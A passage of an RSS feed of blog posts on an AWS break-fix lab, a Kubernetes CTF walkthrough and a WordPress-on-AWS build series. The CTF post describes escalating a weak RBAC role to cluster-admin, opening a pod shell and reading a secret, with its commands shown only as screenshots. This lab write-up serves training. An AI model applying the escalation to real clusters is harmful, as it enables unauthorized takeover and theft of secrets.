src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=2036ecb7edb7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS Cloud Support Modules and Repo]]></title>
            <link>https://medium.com/@cc0a/aws-cloud-support-modules-and-repo-b8aaa466ff57?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/b8aaa466ff57</guid>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sun, 04 Oct 2026 23:32:52 GMT</pubDate>
            <atom:updated>2026-10-04T23:32:52.411Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Wkp73TW-vZ2vTEwr2jBFTg.png" /></figure><p>During my time as a cloud support engineer I’ve had the opportunity to notice a series of scenarios that cropped up time and again, and after learning about the power of Terraform I saw an opportunity to go beyond the typical knowledge base article. By using Terraform I can allow others who have an AWS account to launch their own troubleshooting lab(s) and gain first-hand experience with various scenarios faced in production. I find that facing these issues away from prod for the first time (or first several times) allows a support engineer to gain confidence in what their process.</p><p>While this article will be focusing on the ‘Mystery EKS Outage’ scenario, here is a link to my GitHub repo which contains labs for dozens of AWS scenarios across a wide variety of cloud services: <a href="https://github.com/cc0a/aws_breakfix_labs/tree/main/eks/mystery_outage">Repo Link</a></p><p>Alright, so let’s get started with the basics, the first thing we need to do is navigate to our EKS Mystery Outage folder inside of our Cloud Support Repo:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/677/1*3TPuAVCQEtzoULpFzUQr0w.png" /></figure><p>Alright, now that we’ve installed the necessary terraform packages it’s time to verify that the project can be launched without any terraform errors. Let’s do that next by running Terraform Plan:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*wzIXrjFFNX-PBqCZhFr41Q.png" /></figure><p>As long as you don’t see any errors, you’ll be ready to run terraform apply and get your environment spun up:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/411/1*oLFj8uZi1VaN2gwF4JWaGQ.png" /></figure><p>Before moving on to finalizing our deployment we’re given 7 choices from to decide which Mystery Outage scenario we’d like to deploy. For this particular walk through we’re going to select 4, so if you want to follow along please make that selection as well. In the future I plan on consolidating labs from AWS native services in this way as well, but for now each lab will have its own corresponding directory.</p><p><em>Sidenote: The lab may take several minutes to spin up. The estimated cost of the lab is ~.30 cents per hour at this time.</em></p><p>First, let’s start by fetching pods from the mystery-app namespace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*pUQxc-Gw1rF5JTTUhwTsTw.png" /></figure><p>Next let’s fetch services and endpoints running on the mystery-app namespace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/575/1*L1gRNBe4cGdyZK-GPqMtqA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*A4BlI_pDTPDy1BgtEb7wew.png" /></figure><p>And now let’s fetch the logs to see if we can find an issue causing us to lose access to RDS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*mzG8a3rRJBEr2mo4d1CWug.png" /></figure><p>Now we know that the backend container has started, it’s running, but it is not ready because it cannot establish a database connection, but the frontend is healthy. Next let’s examine the backend configuration:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*WytpSg00J7QWdGc6ehHLzg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/437/1*2NhwFRCa_6YGSL5KvuNvAQ.png" /></figure><p>None of this helps us diagnose the issue, let’s pull the RDS endpoint that Terraform knows about:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/494/1*tcJJFdUqKTJwOgnWnoOewg.png" /></figure><p>Alright, next let’s see why the container is restarting:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/531/1*JRNldKb54svs7SjACY_xFg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*PekOfag6jTqnhoGGp7-A-w.png" /></figure><p>Based on the fact that we’re seeing a liveness probe failed and a connect: connection refused, it looks like this could be a networking problem given that earlier we saw the database connection not available yet error.</p><p>Let’s go ahead and check security groups:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/530/1*WYpbez7U3IRlZK9sVYCFqg.png" /></figure><p>We’re showing no inbound rules at all, which means we’re blocking everything to RDS. Since this is a break-fix lab we’re going to update the rule manually, but in a dev environment it’s recommended to update the Terraform state:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*vqleH1knvjW37HRBa6n0kg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/808/1*buptIRzgmIOLGnLVs66lpA.png" /></figure><p>Now let’s add the EKS SG to the RDS SG:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/849/1*Gw39m4E1xgG1SAdGFkcSMw.png" /></figure><p>Now let’s verify:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/521/1*U9PwzJmRIYNFHa9gTjUkDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/511/1*AfS7jrm6P9Dn5YiS62zjDA.png" /></figure><p>Now let’s verify that backend can reach PostgreSQL:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/853/1*ax0Fmf5Rrr5iMCsoV23qHA.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b8aaa466ff57" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[IceBreaker Kubernetes CTF Series (1)]]></title>
            <link>https://medium.com/@cc0a/icebreaker-kubernetes-ctf-series-1-ffea243b6559?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/ffea243b6559</guid>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Mon, 29 Jun 2026 01:28:37 GMT</pubDate>
            <atom:updated>2026-10-04T23:40:16.667Z</atom:updated>
            <content:encoded><![CDATA[<p>Link to <a href="https://github.com/cc0a/icebreaker-ctf-series">repo:</a></p><p>This CTF is built on Terraform, which means that you’re going to need to spin it up on your own infrastructure in AWS. You’re going to need an AWS CLI token wired into terraform in order to properly get everything spun up. I am not going to get into an exhaustive process for this as ChatGPT can help you out better than I can, but I will (eventually) be spinning up a Discord server in conjunction with this series/Kubernetes offensive security effort.</p><p>Once you have downloaded the repo, navigate to the repo and run terraform init:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/663/1*2o05qB3WhnrXL3AMqmQ3Fg.png" /></figure><p>Alright, now that we have all of our terraform dependencies in place we should run terraform plan to ensure that the deployment will go through without issue (your IP address is being requested so that your IP can be whitelisted to access EKS through properly secured security groups, it is NOT recommended you change this setting):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/519/1*9sJW4LZvY1XmqL6j-Nq68Q.png" /></figure><p>This is the output you should see at the end from this command:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/829/1*M9X6py-zfPNk46dhFBrFCA.png" /></figure><p>The next step is to run terraform apply to get this thing deployed, but a couple notes of caution — This will be deployed on the Internet, and further steps taken later on in this guide while approved for me in AWS may not be approved for you. I don’t see any reason why they shouldn’t be, but having your own email from AWS support just in case things get a little confusing for whatever reason is a good idea. <strong>I cannot authorize you to conduct these actions in AWS because I don’t own AWS, therefore you need to open a ticket regarding your own account because laws/standards may differ from case to case and region to region. Due diligence is critical in cyber security!!!</strong></p><p>Here are some links for more information:</p><p><a href="https://aws.amazon.com/security/penetration-testing/?utm_source=chatgpt.com">https://aws.amazon.com/security/penetration-testing/</a><br><a href="https://repost.aws/knowledge-center/penetration-testing?utm_source=chatgpt.com">https://repost.aws/knowledge-center/penetration-testing</a>/<br><a href="https://console.aws.amazon.com/support/home?utm_source=chatgpt.com">https://console.aws.amazon.com/support/home</a>/</p><p>So now we get to the nitty gritty:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/161/1*siDTJtVwu-ohcBxJZzvU8g.png" /></figure><p>If you see this, you’ll know your launch was successful:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*FyeNFhx2J6kPmUnlDBQANA.png" /></figure><p>Alright, now that we’re spun up we need to connect to our cluster, and we start by taking the yaml file generated by Terraform and link it to kubectl:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/372/1*WgmUJmu9bCQ0RdNfTaif7Q.png" /></figure><p>Next, let’s verify we’re connected and look around our cluster a bit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/288/1*6xIfZxSNhB84OCeSsTl53w.png" /></figure><p>Our context tells kubectl which cluster to connect to, which credentials to use, and which default namespace to operate in.</p><p>Next let’s see what account we’re operating on, what namespaces exist, and also what actions we’re capable of with our current account:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/446/1*qJ378nzGkRpupeMqa3SLWQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*spR-VQKmzg5rDEs-wSwqyQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/822/1*9KmJUA6RTe7Iq_glSn78lA.png" /></figure><p>That last one is what we’re really interested in…clusterrolebindings…which allows us to bind permissions associated to a cluster role to the account which we’re executing actions on. So our account can do this, let’s see what bindings are available.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/748/1*gNnh19iYqC9a7rexyBcSoA.png" /></figure><p>Let’s have a look at cc0a-weak-recon-escalate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/491/1*fW6j5KX2j_bGtPSltqA9Ag.png" /></figure><p>Digging a bit further shows us how dangerous this role really is:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/204/1*3kGejungf8XSisFrxNxhFQ.png" /></figure><p>This confirms that this role can create, patch, update, get, or list clusterroles, meaning that it could create a clusterrolebinding that grants cluster-admin — let’s confirm that:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/763/1*bBErBETyTkwuCxxBUQ1XcA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/820/1*aMwIm1I5lHUiTxjO8I92Qw.png" /></figure><p>So, we’re allowed to reference the cluster-admin account, and we are allowed to create a clusterrolebinding which applies cluster-wide. Let’s create it…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*GUqxAV1PERK-efkykYJTCw.png" /></figure><p>Now let’s see what we can do:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/253/1*aEWYxQO7SLJMFYnwXKwvBw.png" /></figure><p>To prove a point, I’m going to create a pod in a random namespace and ping google…but anything could be done with this pod, which is why a hacked cluster is seriously dangerous:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*I5UdhFiQGteakZX5XzLM4A.png" /></figure><p>Now let’s get a shell to that pod:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/617/1*W32GMkOVlBmAz929IBd50g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/483/1*uylW6omGru1CeCsMvg--4A.png" /></figure><p>While we’re at it though, let’s go ahead and grab the flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/267/1*baWmBrJ5b25KCeRxJqDP9A.png" /></figure><p>Well uh, flag-vault looks promising? Let’s check out the pods in that namespace:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/418/1*gAu_19IWlSIQj7qKwQKOkw.png" /></figure><p>Now let’s take a closer look at quiet-snowflake:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/466/1*reQlKCOoNKhlYSfFctgCtA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*pu1mn3JRDHfl98W3941TZw.png" /></figure><p>A secret huh? Maybe an API key in the real world, but it is just a flag in this case :P</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/694/1*iVTzVNPekeFpRHcHNu24ow.png" /></figure><p>PLEASE NOTE: When you go to use terraform destroy to tear everything down it will probably fail. You’re going to need to delete some namespaces and also your admin role. If all else fails drop the output into ChatGPT and it will walk you through your teardown. Your teardown may be different than mine, so using AI really is the best option.</p><p>If you have zero experience with Linux/Cloud/Kubernetes/Terraform, I do NOT recommend doing this CTF!</p><p>Run the following command to make sure everything is torn down:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/221/1*HhSExfOMF9_0WXxji4qKFQ.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ffea243b6559" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Design. Deploy. Secure. Test — AWS Cloud Part 2: Deploy]]></title>
            <link>https://medium.com/@cc0a/design-deploy-secure-test-aws-cloud-part-2-deploy-880932453c65?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/880932453c65</guid>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Mon, 26 Jan 2026 00:40:39 GMT</pubDate>
            <atom:updated>2026-02-04T05:04:04.428Z</atom:updated>
            <content:encoded><![CDATA[<h3>weDesign. Deploy. Secure. Test — AWS Cloud Part 2: Deploy</h3><p>Terraform code for all of these assets can be found <a href="https://github.com/cc0a/capStone/">here</a>.</p><p>I’m standing up one resource at a time and verifying their functionality so that when we (inevitably) need to troubleshoot, we can keep the number of components being troubleshot as small as possible. One of the things that people who are new to standing up complex environments are concerned about is that something will break and they won’t know where the problem is. By standing up one component at a time via Terraform we can verify deployment and test before moving on to the next component.</p><p>In order to deploy our application we need to give it a place to live, and in the world of AWS, that’s a VPC. In the case of this project our VPC is relatively simple and has a single Internet Gateway to allow for Internet access, and the VPC is divided into both public and private subnets.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z0zK-PmHkmPpxs5GfxRFIA.png" /></figure><p>This VPC was designed specifically to accommodate a public application while keeping vital resources inside of private subnets. This will serve as the foundation of our application, and the bedrock of our security posture. The VPC was deployed via Terraform without a hitch, and was verified via AWS CLI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*9v3ZU9k1M_A7-SsQGQ3Y9Q.png" /></figure><p>The first VPC is where our application lives, while the second VPC is the AWS default VPC which we aren’t going to touch with regard to our application. Next, let’s move on to our ALB:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*EHWLsSLfEtbquFU54hoDjQ.png" /></figure><p>First of all yes, I’m allowing http traffic on port 80 at the moment because I decided to setup the SSL and DNS server (Route 53) in the next article in this series…due to inclement weather (yes, really) I’ve had to push this functionality back into the security portion of this series. But rest assured, every packet sent to my server was sent inside of a VPN tunnel.</p><p>The ALB was configured to allow traffic from any IP since this is a public application, and it was launched via Terraform. Deployment was confirmed via AWS CLI:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*MJdi-vUf--M7uudf-NWalw.png" /></figure><p>Next, we’re moving on to the WAF, which serves critical functionality and will be explored and configured in-depth in our security article, but for the purposes of this article we’re going to confirm it’s launched and functioning:</p><p>$ aws wafv2 list-web-acls — scope REGIONAL — output table</p><p>|| ARN | arn:aws:wafv2:us-east-1:[omitted]:regional/webacl/wordpress-waf/[omitted] ||<br>|| Description| WAF for WordPress ||<br>|| Id | [omitted] ||<br>|| LockToken | [omitted] ||<br>|| Name | wordpress-waf</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bEl3Rzi4K6e8zWGKyIt2yw.png" /></figure><p>Let’s go ahead and create a log group for the WAF:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/344/1*tRCWUAoeaWBo1t6loKFHXg.png" /></figure><p>Next, let’s configure the WAF to send logs to that log group:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/898/1*F-leskhhcTwr52goOccY2A.png" /></figure><p>Alright, we know it’s up and running. But let’s also make sure requests are hitting the WAF:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*M2yJMLx7fq-bnAAtOIbeiA.png" /></figure><p>As we can see, our requests are indeed hitting the WAF. We will be refining our WAF settings and testing it at length in the next two articles in this series, but since our only goal in this article was to stand it up and verify functionality, we’re going to move on to ECS/Fargate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*s_R4si97tc2EEvr1lGW-Fg.png" /></figure><p>I ran into a few issues with ECS/Fargate in that when I initially spun it up, I was greeted by a 504 error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/451/1*D3ozlHJcOMJM45E49G6kvA.png" /></figure><p>In order to diagnose this problem I ran:</p><p>$ aws ecs list-clusters</p><p>Then I checked to see what tasks were running in the cluster once I had the cluster name:</p><p>$ aws ecs list-tasks — cluster wordpress-cluster</p><p>Once I had the ARN I went and checked to make sure the cluster was running:</p><p>$ aws ecs describe-tasks \<br>&gt; — cluster wordpress-cluster \<br>&gt; — tasks [ARN-REDACTED]</p><p>Inside of the output I found:</p><p><strong>“lastStatus”: “RUNNING”,</strong></p><p>So, I knew that the container was running, but obvious still had a problem. so I went ahead and checked the web server logs:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/811/1*MRERmA05kZ2Jh912iRfJ7Q.png" /></figure><p>Looks like these are okay, so next let’s check the connection between the ALB and ECS by starting with getting info on our ALB:</p><p>$ aws elbv2 describe-load-balancers</p><p>Once we have the ARN of our load balancer, let’s dig further to check the state of our instances:</p><p>$ aws elbv2 describe-target-groups — load-balancer-arn [REDACTED]</p><p>“TargetHealth”: {<br><strong>“State”: “unhealthy”,</strong> # Down<br>“Reason”: “Target.Timeout”,<br>“Description”: “Request timed out”<br>},</p><p>Alright, so we find that the instance is down on the ECS side, some research helped me to discover that I must have placed my ALB into a private subnet instead of a public one (everyone makes mistakes!) — in any event, moving the ALB to a public subnet fixed the problem:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/383/1*Wjo5-ncfWNED26gVD-Y7yg.png" /></figure><p>There’s quite a bit going on with ECS/Fargate under the hood, in our case it is pulling the image used to launch our app from a private GitHub repository, and then provisioning a MySQL database inside of our RDS instance. Logs are being forwarded to CloudWatch, and of course IAM permissions are mandatory (and in place). Once deployed, a link is provided to the application which we visit and verify:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/954/1*0ZBBpQM5pKCKNazKP4oRnQ.png" /></figure><p>Alright, so we know that ECS/Fargate is up and running properly. Next let’s get memcache deployed and confirm it’s up and running:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*L422_ZdqP-zuPNnWxK-CrA.png" /></figure><p>Additional testing in terms of responsiveness aren’t going to be qualified in this article series since the overall focus is to get an environment stood up, secured, and pentested. I may go into responsiveness optimization in the future, but rest assured this is a very snappy app at the moment.</p><p>Alright, so we’re done standing up our app, but let’s wrap up by standing up our CICD and verifying its functionality. This was (by far) the most difficult part of this process. I will be utilizing a local installation of Wordpress as a repo that will be pushed to GitHub, which then be fetched by CICD and used to deploy the code I’ve added to cloud via ECS/Fargate:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*AZTKM5PMAtAytB3IMfuQug.png" /></figure><p>The first thing we need to do is wire AWS CodePipeline into GitHub via creating a token in GitHub and then adding it to AWS SecretsManager via AWS CLI:</p><p>aws secretsmanager create-secret \<br> — name github-token \<br> — description “GitHub Access for CodePipeline” \<br> — secret-string “[REDACTED]” \<br> — region us-east-1</p><p>Then we reference the token that’s inside of secretsmanager inside of our Terraform code:</p><p>configuration = {<br><em>Owner</em> = “cc0a”<br><em>Repo</em> = “[REDACTED]”<br><em>Branch</em> = “main”<br><em>OAuthToken</em> = data.aws_secretsmanager_secret_version.github_token.secret_string<br>}</p><p>Alright, next I’m going to try and deploy from the GitHub repo by running Terraform apply and we get the following warning:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/825/1*89HrOIKFKoCAwCcKuhyVnA.png" /></figure><p>I’m going to go ahead and stick with utilizing SecretsManager in the way we have to connect to GitHub, and proceed with the deployment, but ran into a common snag — ECS/Fargate didn’t find an image inside of ECR, so we’re going to need to put the first image in there ourselves, and then verify a code pipeline exists, and then see if a change we make is pushed up to cloud via our pipeline.</p><p>So, in order to get our WP image setup on ECR, we’re going to send it from Docker by:</p><p>Logging into ECR:<br>$ aws ecr get-login-password — region us-east-1 | docker login — username AWS — password-stdin [REDACTED]</p><p>Next, we’re going to build the image locally:<br>$ docker build -t wordpress-app .</p><p>Then we’re going to tag it for ECR:<br>$ docker tag [REDACTED]</p><p>And finally we push it to ECR:<br>$ docker push [REDACTED]</p><p>Alright, we’re going to try building again by restarting the ECS Service:<br>aws ecs update-service \<br> — cluster wordpress-cluster \<br> — service wordpress-service \<br> — force-new-deployment</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*OE_jnApGy8t8CLVmgjGOmA.png" /></figure><p>Alright, now let’s make sure the pipeline is showing up in AWS:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*1ElQ4QJ-tBJs_0T3H-rIvw.png" /></figure><p>Now we will make a change locally, push it to GitHub, and verify that the change applied in cloud. We’re going to do this by deleting the Twenty Twenty-Three theme locally and then doing a commit to see if the change carries over.</p><p>Before:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/943/1*vrvq3jk_PyZQg36tLeebhQ.png" /></figure><p>After:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*EZcEksxR5RcrffjHdYessQ.png" /></figure><p>Alright, that confirms that our CICD is up and running. Next I will be setting up logging/monitoring/alerting/hardening in the next article.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=880932453c65" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Design. Deploy. Secure. Test — AWS Cloud Part 1: Design]]></title>
            <link>https://medium.com/@cc0a/design-deploy-secure-test-aws-cloud-part-1-design-418be4a569b3?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/418be4a569b3</guid>
            <category><![CDATA[ecs-fargate]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[aws-s3]]></category>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sat, 20 Dec 2025 06:25:53 GMT</pubDate>
            <atom:updated>2026-01-05T23:52:23.524Z</atom:updated>
            <content:encoded><![CDATA[<h3>Design. Deploy. Secure. Test — AWS Cloud Part 1: Design</h3><p>As with most environments I’ve built in AWS, let’s start with the VPC:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*02lOS6HdJNd543x-ksW7FQ.jpeg" /></figure><p>#####BEGIN PUBLIC SUBNET#####</p><p>Even though what’s being created is a Wordpress application with low functionality, following best practices is still a good idea for future-proofing if nothing else and so we’re going to build a 10.0.0.0/16 public subnet for ample space. Next, we’re going to setup an Internet gateway inside our VPC so that communication with the Internet is possible.</p><p>Our route table is 0.0.0.0/0, which is fine since the only assets living in the public subnet will be the ALB. We’re going to forego setting up a bastion and will be accessing resources directly through AWS CLI via AWS Systems Manager Session Manager. Since we’re using an ALB with ECS/Fargate and a database server, we’re going to be using security groups instead of NACLs. For caching we’re going to be using AWS Elasticache instead of spinning up a Memcache server.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*njJLyfvUgwPSVpPHu3q6AQ.gif" /></figure><p>For the WAF, the configuration is pretty straightforward in that it is utilizing the common rule set with an exception baked in so that I can demonstrate offensive security in the next to last stage of the demo. Sampled requests and CloudWatch metrics are both enabled as well. It’s a pretty standard WAF deployment, and it is absolutely necessary to address concerns such as brute forcing passwords, directories, SQLi payloads, etc…</p><p>Behind the WAF we have the ALB, which is going to serve as the means with which we balance incoming http requests to ECS/Fargate instances of our application which are currently spun up. While I will stress test the application to make sure additional instances populate, for the sake of cost I will not keep multiple instances spun up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zAu8_ES1ppBAjbUg1-JGIA.jpeg" /></figure><p>For log storage S3 will be utilized, and in order to keep access to this resource private while it sits in the public section of AWS, we need to limit access via a VPC gateway. Access will be specified via the S3 bucket policy so that access to the storage on the S3 logging bucket will be limited to those with access to the VPC.</p><p>Logs forwarded will be Netflow, WAF, WP Server, ALB, CloudTrail, ECS Control Pane Logs, RDS Logs, Route53 Resolver Logs, GuardDuty Findings.</p><p>#####END PUBLIC SUBNET######</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MATP6Rs9LAM2mi8XuMBQgQ.jpeg" /></figure><p>Security groups will facilitate communications between up our public and private subnets between the ALB and the Wordpress application. I’ll be specifying ingress/egress ports/services during the build article. Worry not friend, I will be getting granular on security eventually.</p><p>#####BEGIN PRIVATE SUBNET###</p><p>Among the things sitting in the private subnet will be our ECS/Fargate setup which will be serving up our Wordpress application. The rationale for me choosing ECS/Fargate over an EC2 scale set is due to the following benefits:</p><ul><li>No Instances to Manage</li><li>No SSH or Bastion Needed</li><li>Scaling is task-based and automatic</li><li>Tasks are scheduled automatically</li><li>Lower cost</li><li>IAM is granular and task-based out of the box</li><li>Native CloudWatch logging out of the box</li></ul><p>Why ECS/Fargate &gt; Kubernetes though?:</p><ul><li>Lower Learning Curve (Currently learning K8S)</li><li>Fully Managed Control Plane</li><li>AWS-Native Networking</li><li>Minimal OPs Overhead</li><li>Low YAML Complexity</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ItKLYWBJ7gjsqpcWOvaohQ.png" /></figure><p>Alright, so now let’s talk about why WordPress…?! Well for starters it’s used by at least half of the websites on the Internet the last time I checked, and so I’m pretty sure it’ll be relevant for both myself and anyone else reading this. Aside from that, I’m pretty familiar with the stack and CMS which will allow me to quickly deploy an application for demo purposes not only in terms of building out and standing up a production-grade environment, but also demonstrating how to secure the application.</p><p>I’m going to be going beyond securing this application in terms of the WAF/Monitoring/Logging/Alerting though, I’m going to be intentionally adding a vulnerable plugin and then I’ll be using that plugin to demonstrate some attack vectors in addition to proving out the security measures put into place. Having a significant degree of understanding with regard to the application I’m deploying is critical for both security and functionality…so for me at this time it is Wordpress.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WRG1RE5pqhEbnG0uPpUgxQ.jpeg" /></figure><p>We want lightning-fast speed on this application, and so we’re going to be utilizing Elasticache both for increasing speed and decreasing stress on other resources, especially the database. Given how database-intensive Wordpress is, Elasticache is a HUGE win. Let’s look at a quick list of why I’ve chosen Elasticache:</p><ul><li>Faster page renders</li><li>50–90% reduction in database queries</li><li>More affordable database instance</li><li>Additional room for traffic spikes</li><li>Shared object cache</li><li>Shared transient state</li><li>Much faster interaction with admin dashboard</li><li>And a LOT more…</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*iept5P7C4ozAtL_H_oDLGQ.jpeg" /></figure><p>So what about the database?! Well, in the case of this particular project we’re going to be utilizing RDS running MySQL. Connecting to the database will be secured via IAM DB Auth, which will generate tokens that are valid for 15 minutes in order to access the DB.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ciV1LxMX4gdNULWtqbdbTQ.jpeg" /></figure><p>For this demo I’m going to be utilizing Route53 to host our DNS records, monitor requests made to DNS, and also monitor the health of our resources in case there’s a need to fail over. To put it mildly, in a production-grade environment, having a DNS server is critical and so utilizing Route53 is not a choice but a mandate.</p><p>Here are a few of the benefits of running Route53 over using generic DNS:</p><ul><li>Auto-updates records when resources change</li><li>Alias directly to ALBs, Cloudfront, S3, and API Gateway (note that one will not be deployed in this project, but it’s important to be aware of)</li><li>Utilizes Alias records which are faster than CNAME records</li><li>Performs health checks on ALB endpoints</li><li>Automatically fail over to another region</li><li>Active/Passive Disaster Recovery</li><li>Latency, Weighted, Geolocation, and Failover routing</li><li>IAM-based security regarding DNS record updates</li><li>DNS as code…Terraform, etc…</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/536/1*20iJj_z-Jg1mHp6hO2ZjFw.png" /></figure><p>Finally we want to utilize CICD in this environment, and in our case we will be using the following combination of services: Amazon ECR, AWS CodeBuild, and AWS CodePipeline. We’re going to be using this stack for the sake of simplicity since we’re building out an environment for Wordpress. Here are some quick pros for CodePipeline:</p><ul><li>Deep AWS Integration</li><li>Native ECS Deploy Support</li><li>IAM-Based Authentication</li><li>Fits very well with our IaC choice on this project (Terraform)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1wgRM8O8Pd18emwalmwPiw.jpeg" /></figure><p>Well, that’s it…the easy part is over. Next comes the build in which I will only be utilizing Terraform scripts and AWS CLI / SSH to verify deployments/changes as much as possible. I’m going to be posting Terraform snippets and AWS CLI / SSH screenshots in order to share my thought process during the standup process in addition to any challenges I encounter.</p><p>Design. Build. Secure. Test.</p><p>Read Build Here (COMING SOON).</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=418be4a569b3" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[AWS Portfolio Project Overview]]></title>
            <link>https://medium.com/@cc0a/aws-portfolio-project-overview-64aa996aef83?source=rss-5707ddc648f4------2</link>
            <guid isPermaLink="false">https://medium.com/p/64aa996aef83</guid>
            <category><![CDATA[information-technology]]></category>
            <category><![CDATA[information-security]]></category>
            <dc:creator><![CDATA[Space Mann]]></dc:creator>
            <pubDate>Sun, 14 Dec 2025 21:43:44 GMT</pubDate>
            <atom:updated>2025-12-14T21:54:18.146Z</atom:updated>
